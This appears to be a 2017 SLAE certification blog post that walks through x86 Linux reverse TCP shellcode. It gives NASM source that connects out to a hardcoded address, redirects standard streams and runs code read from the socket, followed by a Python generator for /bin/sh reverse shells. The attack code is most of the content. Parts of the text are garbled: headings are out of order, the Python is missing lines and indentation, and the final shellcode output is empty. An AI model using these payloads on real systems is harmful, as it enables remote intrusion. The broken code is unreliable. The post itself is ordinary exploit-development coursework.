SLAE: 0x2 Tcp connect back shellcode

Sun 02 April 2017

0x1 Requirements:

Write linux 32 bit shellcode that does the following:

0x1 Demo : putting it all together

0x3 Code walkthrough


; Filename: tcp_reverse_execute.nasm
; Author:  Plaix
; Website:
; Purpose: 
; Connect back to host on configurable port and runs input that it reads upon connect

; Compile:
; --------
; nasm -f elf32 -o tcp_reverse_execute.o tcp_reverse_execute.nasm
; ld -o tcp_reverse_execute tcp_reverse_execute.o

global _start           

section .text

    ; clear out the regs
    xor ecx,ecx
    mul ecx

    ; set up socket ( 0x66 ) , save FD
    ; socketcall syscall 102
    ; int socketcall(int call, unsigned long *args)
    ;    call= ebx 
        ;   0x01 = SYS_SOCKET
    ;   defined in linux/net.h
    ;   long *args = socket call
    ; int socket(int domain, int type, int protocol);
    ;            PF_INET=2,SOCK_STREAM=1,0

    mov byte al,0x66 ; 102
    inc ebx ; 0x01 SYS_SOCKET
    push ecx ; 0x00 = int protocol of socket args list
    push byte 0x01 ; 0x01 = int type = SOCK_STREAM
    push byte 0x02 ; = int domain = AF_INET
    mov ecx,esp
    int 0x80    
    ; save fd
    xchg esi,eax

    ; int socketcall(int call, unsigned long *args)
    ; call = 0x03  = connect
    ; int connect(int sockfd, const struct sockaddr *addr,
    ;                socklen_t addrlen);    
    pop ebx ; 0x02

    ; create struct sockaddr    
    ; push address
    push 0x0a38a8c0 ;
    ; use port 1337
    ; TCP/IP works in big endian order
    ; least significant bit to the right
    ; this will push the 2 byte port and the following 
    ; push word bx will push 2 on the stack
    ; making the dword to be used in the struct for port
    ; 3905000002 
    push word 0x3905 ; port 1337

    push word bx ; AF_INET = 2 
    inc ebx ; we need 0x03 for the connect call
    mov ecx,esp ; save pointer

    push byte 0x10 ; addrlen = 16
    push ecx ; struct sockaddr
    push esi ; sockfd
    mov ecx,esp ; save pointer to bind argument lists
    push byte 0x66 ; 102 socket syscall
    pop eax
    int 0x80

    ; duplicate stdErr(2),stdOut(1) and stdIn(0) so the socket can interact with execve spawned binary later on
    ; int dup2(int oldfd, int newfd); 
    ; ecx is prepped to loop and decrease by one until signed flag is set
    ; this will be set if ecx goes to -1 and allows us to loop past 0

    push byte 0x02
    pop ecx
    xchg ebx,esi ; sockFD 
    mov byte al,0x3f ; dup2 syscall
    int 0x80
    dec ecx
    jns loop

    ; reads input upon connect and jump to it to run
    ; read syscall
    mov byte al,0x03
    mov ecx,esp
    mov byte dl,0x7ff
    inc edx
    int 0x80
    jmp ecx

0x4 Automation:

To automate all this I've put together a script that will create a reverse connect shell on a configurable port and address



; Filename:
; Author:  Plaix
; Website:
; Purpose: 
    Generates a x86 linux tcp connect back shell on a configurable port and address and runs 
    /bin/sh on connect


import sys

#\x68\xc0\xa8\x38\x0a address
#"\x05\x39" port

def check_for_badchars(bclist,shellcode):
    returns false if badchars are found in resulting shellcode

    for x in bytearray(bclist):
        if result != -1:
            return True
    # We're golden
    return False

def generate_shellcode(port,address):

    # TODO
    # 1024 < port < 65356
    if(port > 65356):
        print ("[+] Port number %s is above limit of 65356, exiting!!" % port)
        return -1
    if(port < 1024 ):
        print ("[+] Port number %s requires root permissions!!" % port) port=format(port,"#02x")[2:]
    if len(port) < 4:
    print ("[+] Port converted to hex:\t%s" % port)
    address=''.join("\\x%02x" % int(x) for x in address.split('.'))
    print ("[+] Address converted to hex:\t%s" % address)


    return converted

if __name__ == '__main__':

    if len(sys.argv) < 3:
        print("Need a port and address as argument")
        print("usage:\t %s <port> <address> <badchars | defaults \\x00>" % (sys.argv[0]))
        print("[+] Using port %s" % sys.argv[1])
        print("[+] Using address %s" % sys.argv[2])
            print("[+] Shellcode generating failed!!")
            print("[+] Shellcode length:\t%i" % (len(result)/4))
            if(len(sys.argv) == 4):
                print("[+] Contains badchars: %s" %check_for_badchars(sys.argv[3],result))
                print("[+] Contains null bytes: %s" %check_for_badchars("\\x00",result))

            print("[+] Shellcode :\n%s\n" % result)
[plaix@laptop 0x2_reverse_tcp]$ python2.7 
Need a port and address as argument
usage: <port> <address> <badchars | defaults \x00>
[plaix@laptop 0x2_reverse_tcp]$ python2.7 4567
[+] Using port 4567
[+] Using address
[+] Port converted to hex:  \x11\xd7
[+] Address converted to hex:   \xc0\xa8\x01\x01
[+] Shellcode length:   80
[+] Contains null bytes: False
[+] Shellcode :

0x0 Resources used


Linux man pages:

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE - 827